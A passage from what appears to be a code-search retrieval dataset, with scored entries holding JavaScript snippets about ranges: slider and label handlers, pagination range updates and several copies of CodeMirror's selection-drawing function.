"0.6066014", "text": "function hide_range_end(){\n //alert('hide_range_end');\n //$('range_end').setStyle({display: none});\n document.getElementById('range_end').style.display = 'none';\n}", "title": "" }, { "docid": "c24fd87a3de5537ad1377177d8c1a49b", "score": "0.60525507", "text": "function rangeText(min, max) {\n if (min === max) {\n return String(min);\n } else {\n return String(min) + '-' + String(max);\n }\n}", "title": "" }, { "docid": "5bb8ac08b3ce389f51cb9dc4641fbde7", "score": "0.60174704", "text": "function getRange(range) {\n ctx.lineWidth = range.value;\n //document.getElementById(\"value\").innerHTML = range.value;\n}", "title": "" }, { "docid": "255ebc18ad28ccce40a3694de10eef4c", "score": "0.6003146", "text": "function TStylingRange() {}", "title": "" }, { "docid": "255ebc18ad28ccce40a3694de10eef4c", "score": "0.6003146", "text": "function TStylingRange() {}", "title": "" }, { "docid": "557529e50033bae148ac80678c667736", "score": "0.59936506", "text": "function createRange(curr) {\r\n\t\t$('#art-' + curr + ' form.range fieldset input[type=\"range\"]').each(function() {\r\n\t\t\tvar id = $(this).attr('id');\r\n\t\t\t$(this).hide();\r\n\t\t\tif (!results.answers[curr]) {\r\n\t\t\t\t$(this).after('<div class=\"rangeBar\" id=\"rb-' + id + '\">\\\r\n\t\t\t\t\t<div class=\"whiteEdgeRight\">&nbsp;</div>\\\r\n\t\t\t\t\t<div class=\"grip op0\" id=\"g-' + id + '\" style=\"left: ' + (Math.round($(this).val() * 2.52)) + 'px;\">&nbsp;</div>\\\r\n\t\t\t\t</div>\\\r\n\t\t\t\t<div class=\"noVal\" id=\"nv-' + id + '\">&nbsp;</div>');\r\n\t\t\t\tsetRange(curr, id);\r\n\t\t\t} else {\r\n\t\t\t\t$(this).val(results.answers[curr].answer);\r\n\t\t\t\tvar val = (questionnaire.questions[curr].flipped == 1) ? (100 - results.answers[curr].answer) : results.answers[curr].answer;\r\n\t\t\t\tvar value = val * 2.52;\r\n\t\t\t\tif (value == 252) \r\n\t\t\t\t\tvalue = 251;\r\n\t\t\t\t// console.log(value);\r\n\t\t\t\t$(this).after('<div class=\"rangeBar\" id=\"rb-' + id + '\">\\\r\n\t\t\t\t\t<div class=\"grip op1\" id=\"g-' + id + '\" style=\"left: ' + value + 'px;\">&nbsp;</div>\\\r\n\t\t\t\t</div>');\r\n\t\t\t\tchangeRange('g-' + id);\r\n\t\t\t\tQuiz.next(curr);\r\n\t\t\t}\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "cb3e0e8f617c8664d6d7bd92dc725a01", "score": "0.5974509", "text": "function testEpRange(console) {\n var show = Show.get(\"MST3K\");\n console.log(show.getEpRange(\"314-22\"));\n console.log(show.getEpRange(\"301-05\"));\n console.log(show.getEpRange(\"301-10\"));\n console.log(show.getEpRange(\"309-11\"));\n console.log(show.getEpRange(\"K01-19\"));\n console.log(show.getEpRange(\"K00-1\"));\n console.log(show.getEpRange(\"K21-103\"));\n console.log(show.getEpRange(\"620-802\"));\n //console.log(show.getEpRange(\"301-308\"));\n}", "title": "" }, { "docid": "381e8f2fbce35a21f4179ebe6c02eb2c", "score": "0.59689575", "text": "function displayChangeInputRange(trigger)\r\n{\r\n let selectorString = 'label[for=\"'+trigger.name+'\"] span';\r\n let inputLabel = document.querySelector(selectorString);\r\n //Display Input-Range Value on it's Label.\r\n inputLabel.innerText = trigger.value;\r\n}", "title": "" }, { "docid": "b6f3e212848e1841441d34e06b58882e", "score": "0.5913826", "text": "function updateRangeValues(){if(paginationService.isRegistered(paginationId)){var currentPage=paginationService.getCurrentPage(paginationId),itemsPerPage=paginationService.getItemsPerPage(paginationId),totalItems=paginationService.getCollectionLength(paginationId);scope.range.lower=(currentPage-1)*itemsPerPage+1,scope.range.upper=Math.min(currentPage*itemsPerPage,totalItems),scope.range.total=totalItems}}", "title": "" }, { "docid": "49e9574a28206756a7c075538e0c734d", "score": "0.58924866", "text": "print() {\n let res = \"\";\n for (let i = 0; i < this.rangeList.length; i++) {\n res = res.concat(`[${this.rangeList[i]}, ${this.rangeList[i + 1]}) `);\n i++;\n }\n console.log(res.trim());\n }", "title": "" }, { "docid": "46392ca37531c1f232ffd4128d4e5d9a", "score": "0.5892407", "text": "function updateRangeDisplay () {\r\n\r\n // Grabe the value that a user types into the input\r\n var numberString = document.getElementById('input-id').value;\r\n\r\n // Convert the string value of the numbers into an array\r\n var numberArray = numberString.split(\",\");\r\n\r\n // Convert the string versions of the numbers into actuall numbers\r\n numberArray = numberArray.map(function(stringNumber) {\r\n return parseInt(stringNumber, 10);\r\n });\r\n\r\n // Use our stats module to find the range of those numbers\r\n var range = Stats.rangeOfArray(numberArray);\r\n\r\n // Write the range to the element that will display the range\r\n resultElement.innerHTML = range;\r\n}", "title": "" }, { "docid": "7ca9743ba5e6b98decce57bad2392e68", "score": "0.5873368", "text": "get specifiesRange() {\r\n return this.i.specifiesRange;\r\n }", "title": "" }, { "docid": "9c5e05c21184fe228dc10e27236ecb20", "score": "0.5866101", "text": "function range (a, b) {\n}", "title": "" }, { "docid": "c48f7f0eec30a98157708a0a3ec72037", "score": "0.58331335", "text": "function rangeStyledRight(start, end){\n var selection = [];\n\n for(var i = start; i <= end; i++){\n selection.push(i);\n }\n\n return selection;\n}", "title": "" }, { "docid": "472514cd580ddd115d85a646244ed9f5", "score": "0.58256865", "text": "function updaterangeLabel(val) {\n document.getElementById('rangeLabel').value = val\n\n}", "title": "" }, { "docid": "7b44da7401316b3e6fc06d0e3f892603", "score": "0.58209324", "text": "function showHBvalue(newValue)\n{\n\tdocument.getElementById(\"HBrange\").innerHTML=newValue;\n}", "title": "" }, { "docid": "607b2d5524acb2e80dfc5031ae1a78e5", "score": "0.5820724", "text": "function rangeUpdate(val) {\n var rangeVal = val || 0;\n var message = \"\";\n var rangeMessage = document.getElementById(\"range__description\");\n var Slider = slider || document.getElementById(\"slider\");\n Slider.value = rangeVal;\n switch (true) {\n case (rangeVal > 0 && rangeVal < 21):\n message = \"will let us to add a few new modules\";\n break;\n case (rangeVal > 20 && rangeVal < 51):\n message = \"can help us improve this product\";\n break;\n case (rangeVal > 50 && rangeVal < 81):\n message = \"can help us expand this product to other platforms\";\n break; \n case (rangeVal > 80 && rangeVal < 101):\n message = \"goes a long way. If you'd like to consider becoming a sponsor, please contact us\";\n break;\n default:\n break;\n }\n rangeMessage.innerHTML = \"<span>\" + \"$\" + rangeVal + \"</span> \" + message; \n }", "title": "" }, { "docid": "104f003ed27ac4f8c20b12f7f1450463", "score": "0.5819129", "text": "function drawSelectionRange(cm, range$$1, output) {\n\t var display = cm.display, doc = cm.doc;\n\t var fragment = document.createDocumentFragment();\n\t var padding = paddingH(cm.display), leftSide = padding.left;\n\t var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\t\n\t function add(left, top, width, bottom) {\n\t if (top < 0) { top = 0; }\n\t top = Math.round(top);\n\t bottom = Math.round(bottom);\n\t fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n\t }\n\t\n\t function drawForLine(line, fromArg, toArg) {\n\t var lineObj = getLine(doc, line);\n\t var lineLen = lineObj.text.length;\n\t var start, end;\n\t function coords(ch, bias) {\n\t return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n\t }\n\t\n\t iterateBidiSections(getOrder(lineObj, doc.direction), fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir) {\n\t var leftPos = coords(from, \"left\"), rightPos, left, right;\n\t if (from == to) {\n\t rightPos = leftPos;\n\t left = right = leftPos.left;\n\t } else {\n\t rightPos = coords(to - 1, \"right\");\n\t if (dir == \"rtl\") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }\n\t left = leftPos.left;\n\t right = rightPos.right;\n\t }\n\t if (fromArg == null && from == 0) { left = leftSide; }\n\t if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part\n\t add(left, leftPos.top, null, leftPos.bottom);\n\t left = leftSide;\n\t if (leftPos.bottom < rightPos.top) { add(left, leftPos.bottom, null, rightPos.top); }\n\t }\n\t if (toArg == null && to == lineLen) { right = rightSide; }\n\t if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)\n\t { start = leftPos; }\n\t if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)\n\t { end = rightPos; }\n\t if (left < leftSide + 1) { left = leftSide; }\n\t add(left, rightPos.top, right - left, rightPos.bottom);\n\t });\n\t return {start: start, end: end}\n\t }\n\t\n\t var sFrom = range$$1.from(), sTo = range$$1.to();\n\t if (sFrom.line == sTo.line) {\n\t drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n\t } else {\n\t var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n\t var singleVLine = visualLine(fromLine) == visualLine(toLine);\n\t var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n\t var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n\t if (singleVLine) {\n\t if (leftEnd.top < rightStart.top - 2) {\n\t add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n\t add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n\t } else {\n\t add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n\t }\n\t }\n\t if (leftEnd.bottom < rightStart.top)\n\t { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n\t }\n\t\n\t output.appendChild(fragment);\n\t}", "title": "" }, { "docid": "104f003ed27ac4f8c20b12f7f1450463", "score": "0.5819129", "text": "function drawSelectionRange(cm, range$$1, output) {\n\t var display = cm.display, doc = cm.doc;\n\t var fragment = document.createDocumentFragment();\n\t var padding = paddingH(cm.display), leftSide = padding.left;\n\t var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\t\n\t function add(left, top, width, bottom) {\n\t if (top < 0) { top = 0; }\n\t top = Math.round(top);\n\t bottom = Math.round(bottom);\n\t fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n\t }\n\t\n\t function drawForLine(line, fromArg, toArg) {\n\t var lineObj = getLine(doc, line);\n\t var lineLen = lineObj.text.length;\n\t var start, end;\n\t function coords(ch, bias) {\n\t return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n\t }\n\t\n\t iterateBidiSections(getOrder(lineObj, doc.direction), fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir) {\n\t var leftPos = coords(from, \"left\"), rightPos, left, right;\n\t if (from == to) {\n\t rightPos = leftPos;\n\t left = right = leftPos.left;\n\t } else {\n\t rightPos = coords(to - 1, \"right\");\n\t if (dir == \"rtl\") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }\n\t left = leftPos.left;\n\t right = rightPos.right;\n\t }\n\t if (fromArg == null && from == 0) { left = leftSide; }\n\t if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part\n\t add(left, leftPos.top, null, leftPos.bottom);\n\t left = leftSide;\n\t if (leftPos.bottom < rightPos.top) { add(left, leftPos.bottom, null, rightPos.top); }\n\t }\n\t if (toArg == null && to == lineLen) { right = rightSide; }\n\t if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)\n\t { start = leftPos; }\n\t if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)\n\t { end = rightPos; }\n\t if (left < leftSide + 1) { left = leftSide; }\n\t add(left, rightPos.top, right - left, rightPos.bottom);\n\t });\n\t return {start: start, end: end}\n\t }\n\t\n\t var sFrom = range$$1.from(), sTo = range$$1.to();\n\t if (sFrom.line == sTo.line) {\n\t drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n\t } else {\n\t var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n\t var singleVLine = visualLine(fromLine) == visualLine(toLine);\n\t var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n\t var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n\t if (singleVLine) {\n\t if (leftEnd.top < rightStart.top - 2) {\n\t add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n\t add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n\t } else {\n\t add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n\t }\n\t }\n\t if (leftEnd.bottom < rightStart.top)\n\t { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n\t }\n\t\n\t output.appendChild(fragment);\n\t}", "title": "" }, { "docid": "488ac1a0ef21bd1e27d46c078ffb0b48", "score": "0.5817134", "text": "range({columns,owner,page,start,stop,table}) { this.$publish('range', {columns,owner,page,start,stop,table})}", "title": "" }, { "docid": "663aef12345473c148c4567d48e83572", "score": "0.57927924", "text": "_getRange() {\n const that = this;\n\n if (that.logarithmicScale) {\n that._range = that._drawMax - that._drawMin;\n return;\n }\n\n if (that.scaleType === 'floatingPoint') {\n that._range = (that._drawMax - that._drawMin).toString();\n }\n else {\n that._range = new JQX.Utilities.BigNumber(that._drawMax).subtract(that._drawMin).toString();\n }\n }", "title": "" }, { "docid": "865c3b21b2e26e58442a650f8c0222ac", "score": "0.57856154", "text": "function showRange() {\n const yourLangRange = document.querySelector('#your-lang__range');\n const yourLangCheckbox = document.querySelector('#your-lang__checkbox');\n const foreignLangCheckbox = document.querySelector('#foreign-lang__checkbox');\n const foreignLangRange = document.querySelector('#foreign-lang__range');\n let rangeValue = document.querySelector('.range-value');\n let dialogGuideMark = document.querySelector('.guide-mark');\n dialogGuideMark.innerText = yourLangRange.value;\n\n\n yourLangCheckbox.addEventListener('change', () => {\n if( yourLangCheckbox.checked){\n yourLangRange.style.opacity = \"1\"\n rangeValue.style.display = 'block';\n yourLangRange.addEventListener('input', () => {\n rangeValue.innerHTML = yourLangRange.value;\n })\n yourLangRange.style.webkitAppearance = 'none';\n\n } else {\n yourLangRange.style.opacity = \"0\";\n yourLangRange.value = 0;\n rangeValue.style.display = 'none';\n rangeValue.innerHTML = '';\n\n\n }\n\n\n\n });\n\n foreignLangCheckbox.addEventListener('change', () => {\n foreignLangCheckbox.checked ? foreignLangRange.innerHTML = 'Пользовались' : foreignLangRange.innerHTML = 'Не пользовались';\n foreignLangRange.value = 0;\n })\n\n}", "title": "" }, { "docid": "24f87b857255b631bc8523168342e65c", "score": "0.5779423", "text": "function ipRangeToString(ipRange) {\n return ipRange.end ? ipRange.start + \"-\" + ipRange.end : ipRange.start;\n}", "title": "" }, { "docid": "b3860cba2e7a432255de4f6d8bd30e14", "score": "0.5775112", "text": "function printAnyRange(rangeStart, rangeStop) {\n if (rangeStart < rangeStop) {\n return printRange(rangeStart, rangeStop);\n } else if (rangeStart > rangeStop) {\n return printRangeReversed(rangeStart, rangeStop);\n } else {\n return \"That is not a valid choice.\";\n }\n}", "title": "" }, { "docid": "9f6beaef8e49bd60173dfbe9867f02ee", "score": "0.5774621", "text": "toggleTowersRangeDisplay() {\n this.renderer.displayTowersRanges = !this.renderer.displayTowersRanges;\n }", "title": "" }, { "docid": "7ef3f6af9bd40dbe6cec45c5823fe4c6", "score": "0.57739055", "text": "function updateRangeNumber () {\n \t\tvar slider = document.getElementById('slider');\n \t\t//console.log(slider);\n \t\t\trangeNumber = slider.value;\n \t \t//console.log (rangeNumber);\n \t}", "title": "" }, { "docid": "739754ace4e26bc8529ee081d270e041", "score": "0.5761935", "text": "getSeqFromRanges(detailObject, ranges) {\n let position = detailObject.position;\n if (position in ranges) {\n return ranges[position];\n }\n return '';\n }", "title": "" }, { "docid": "8a5696d66b3c288a1838346992c4ec15", "score": "0.57582057", "text": "function updateRangeText(val, question) {\n document.getElementById(\"range-number\" + question).innerHTML = val;\n switch (val) {\n case \"1\":\n $(\"#range-text\" + question).text(\" - Strongly Disagree\");\n break;\n case \"2\":\n $(\"#range-text\" + question).text(\" - Disagree\");\n break;\n case \"3\":\n $(\"#range-text\" + question).text(\" - Neutral\");\n break;\n case \"4\":\n $(\"#range-text\" + question).text(\" - Agree\");\n break;\n case \"5\":\n $(\"#range-text\" + question).text(\" - Strongly Agree\");\n break;\n }\n}", "title": "" }, { "docid": "80f764d219401d7ab35813c8283e5259", "score": "0.5750507", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display, doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display), leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\n function add(left, top, width, bottom) {\n if (top < 0) { top = 0; }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", (\"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\")));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return charCoords(cm, Pos(line, ch), \"div\", lineObj, bias)\n }\n\n iterateBidiSections(getOrder(lineObj, doc.direction), fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir) {\n var leftPos = coords(from, \"left\"), rightPos, left, right;\n if (from == to) {\n rightPos = leftPos;\n left = right = leftPos.left;\n } else {\n rightPos = coords(to - 1, \"right\");\n if (dir == \"rtl\") { var tmp = leftPos; leftPos = rightPos; rightPos = tmp; }\n left = leftPos.left;\n right = rightPos.right;\n }\n if (fromArg == null && from == 0) { left = leftSide; }\n if (rightPos.top - leftPos.top > 3) { // Different lines, draw top part\n add(left, leftPos.top, null, leftPos.bottom);\n left = leftSide;\n if (leftPos.bottom < rightPos.top) { add(left, leftPos.bottom, null, rightPos.top); }\n }\n if (toArg == null && to == lineLen) { right = rightSide; }\n if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left)\n { start = leftPos; }\n if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right)\n { end = rightPos; }\n if (left < leftSide + 1) { left = leftSide; }\n add(left, rightPos.top, right - left, rightPos.bottom);\n });\n return {start: start, end: end}\n }\n\n var sFrom = range$$1.from(), sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top)\n { add(leftSide, leftEnd.bottom, null, rightStart.top); }\n }\n\n output.appendChild(fragment);\n }", "title": "" }, { "docid": "cecc5d1c534fb5c8e8952c12d30e70ff", "score": "0.5741134", "text": "function getMortaRiskRange(input) {\n var mx = document.getElementById('hiMortaRisk').innerHTML;\n document.getElementById('mortarisk_range').max = mx;\n var mn = document.getElementById('lowMortaRisk').innerHTML;\n document.getElementById('mortarisk_range').min = mn;\n var unit = (mx - mn) / 100;\n document.getElementById('mortarisk_range').step = unit;\n filterMortarRiskData(input);\n}", "title": "" }, { "docid": "e1f350144e617377cfa009469a44ba34", "score": "0.57374966", "text": "function rangeList(rangeStart,rangeEnd)\r\n{\r\n\tvar finalOutput=[];\r\n\tvar index=0;\r\n\tfor(var variable=rangeStart;variable<=rangeEnd;variable++)\r\n\t{\r\n\t\tfinalOutput[index]=variable;\r\n\t\tindex++;\r\n\t}\r\n\tprintArray(finalOutput);\r\n}", "title": "" }, { "docid": "847902f159ceee2f7c95ae458857637a", "score": "0.573067", "text": "function attr_range(t){\n if(map_attribute == 'Gini'){\n return range_gini;\n } else if(map_attribute =='GDP'){\n return range_pib;\n } else if (map_attribute =='PP'){\n return range_pp;\n }\n }", "title": "" }, { "docid": "13731dabe527875d2c7d46a10eee1668", "score": "0.57267386", "text": "function updateRangeValues() {\r\n if (paginationService.isRegistered(paginationId)) {\r\n var currentPage = paginationService.getCurrentPage(paginationId),\r\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\r\n totalItems = paginationService.getCollectionLength(paginationId);\r\n\r\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\r\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\r\n scope.range.total = totalItems;\r\n }\r\n }", "title": "" }, { "docid": "13731dabe527875d2c7d46a10eee1668", "score": "0.57267386", "text": "function updateRangeValues() {\r\n if (paginationService.isRegistered(paginationId)) {\r\n var currentPage = paginationService.getCurrentPage(paginationId),\r\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\r\n totalItems = paginationService.getCollectionLength(paginationId);\r\n\r\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\r\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\r\n scope.range.total = totalItems;\r\n }\r\n }", "title": "" }, { "docid": "13731dabe527875d2c7d46a10eee1668", "score": "0.57267386", "text": "function updateRangeValues() {\r\n if (paginationService.isRegistered(paginationId)) {\r\n var currentPage = paginationService.getCurrentPage(paginationId),\r\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\r\n totalItems = paginationService.getCollectionLength(paginationId);\r\n\r\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\r\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\r\n scope.range.total = totalItems;\r\n }\r\n }", "title": "" }, { "docid": "cea00e28d29eeee96b47e314bf6e2701", "score": "0.57198095", "text": "function updateRangeValues() {\n if (paginationService.isRegistered(paginationId)) {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }\n }", "title": "" }, { "docid": "cea00e28d29eeee96b47e314bf6e2701", "score": "0.57198095", "text": "function updateRangeValues() {\n if (paginationService.isRegistered(paginationId)) {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }\n }", "title": "" }, { "docid": "cea00e28d29eeee96b47e314bf6e2701", "score": "0.57198095", "text": "function updateRangeValues() {\n if (paginationService.isRegistered(paginationId)) {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }\n }", "title": "" }, { "docid": "cea00e28d29eeee96b47e314bf6e2701", "score": "0.57198095", "text": "function updateRangeValues() {\n if (paginationService.isRegistered(paginationId)) {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }\n }", "title": "" }, { "docid": "cea00e28d29eeee96b47e314bf6e2701", "score": "0.57198095", "text": "function updateRangeValues() {\n if (paginationService.isRegistered(paginationId)) {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }\n }", "title": "" }, { "docid": "cea00e28d29eeee96b47e314bf6e2701", "score": "0.57198095", "text": "function updateRangeValues() {\n if (paginationService.isRegistered(paginationId)) {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }\n }", "title": "" }, { "docid": "cea00e28d29eeee96b47e314bf6e2701", "score": "0.57198095", "text": "function updateRangeValues() {\n if (paginationService.isRegistered(paginationId)) {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }\n }", "title": "" }, { "docid": "d2d7abbb49d1d9f55e102739d515754f", "score": "0.57175535", "text": "function drawSelectionRange(cm, range$$1, output) {\n var display = cm.display,\n doc = cm.doc;\n var fragment = document.createDocumentFragment();\n var padding = paddingH(cm.display),\n leftSide = padding.left;\n var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;\n\n function add(left, top, width, bottom) {\n if (top < 0) {\n top = 0;\n }\n top = Math.round(top);\n bottom = Math.round(bottom);\n fragment.appendChild(elt(\"div\", null, \"CodeMirror-selected\", \"position: absolute; left: \" + left + \"px;\\n top: \" + top + \"px; width: \" + (width == null ? rightSide - left : width) + \"px;\\n height: \" + (bottom - top) + \"px\"));\n }\n\n function drawForLine(line, fromArg, toArg) {\n var lineObj = getLine(doc, line);\n var lineLen = lineObj.text.length;\n var start, end;\n function coords(ch, bias) {\n return _charCoords(cm, Pos(line, ch), \"div\", lineObj, bias);\n }\n\n iterateBidiSections(getOrder(lineObj, doc.direction), fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir) {\n var leftPos = coords(from, \"left\"),\n rightPos,\n left,\n right;\n if (from == to) {\n rightPos = leftPos;\n left = right = leftPos.left;\n } else {\n rightPos = coords(to - 1, \"right\");\n if (dir == \"rtl\") {\n var tmp = leftPos;leftPos = rightPos;rightPos = tmp;\n }\n left = leftPos.left;\n right = rightPos.right;\n }\n if (fromArg == null && from == 0) {\n left = leftSide;\n }\n if (rightPos.top - leftPos.top > 3) {\n // Different lines, draw top part\n add(left, leftPos.top, null, leftPos.bottom);\n left = leftSide;\n if (leftPos.bottom < rightPos.top) {\n add(left, leftPos.bottom, null, rightPos.top);\n }\n }\n if (toArg == null && to == lineLen) {\n right = rightSide;\n }\n if (!start || leftPos.top < start.top || leftPos.top == start.top && leftPos.left < start.left) {\n start = leftPos;\n }\n if (!end || rightPos.bottom > end.bottom || rightPos.bottom == end.bottom && rightPos.right > end.right) {\n end = rightPos;\n }\n if (left < leftSide + 1) {\n left = leftSide;\n }\n add(left, rightPos.top, right - left, rightPos.bottom);\n });\n return { start: start, end: end };\n }\n\n var sFrom = range$$1.from(),\n sTo = range$$1.to();\n if (sFrom.line == sTo.line) {\n drawForLine(sFrom.line, sFrom.ch, sTo.ch);\n } else {\n var fromLine = getLine(doc, sFrom.line),\n toLine = getLine(doc, sTo.line);\n var singleVLine = visualLine(fromLine) == visualLine(toLine);\n var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;\n var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;\n if (singleVLine) {\n if (leftEnd.top < rightStart.top - 2) {\n add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);\n add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);\n } else {\n add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);\n }\n }\n if (leftEnd.bottom < rightStart.top) {\n add(leftSide, leftEnd.bottom, null, rightStart.top);\n }\n }\n\n output.appendChild(fragment);\n }", "title": "" }, { "docid": "846d04016593cb802f3e67387729eec6", "score": "0.56952167", "text": "function updateRangeValues() {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }", "title": "" }, { "docid": "846d04016593cb802f3e67387729eec6", "score": "0.56952167", "text": "function updateRangeValues() {\n var currentPage = paginationService.getCurrentPage(paginationId),\n itemsPerPage = paginationService.getItemsPerPage(paginationId),\n totalItems = paginationService.getCollectionLength(paginationId);\n\n scope.range.lower = (currentPage - 1) * itemsPerPage + 1;\n scope.range.upper = Math.min(currentPage * itemsPerPage, totalItems);\n scope.range.total = totalItems;\n }", "title": "" }, { "docid": "e1350269d6981c4519c84a650d960a3d", "score": "0.5691902", "text": "function drawSelectionRange(cm, range$$1, output) 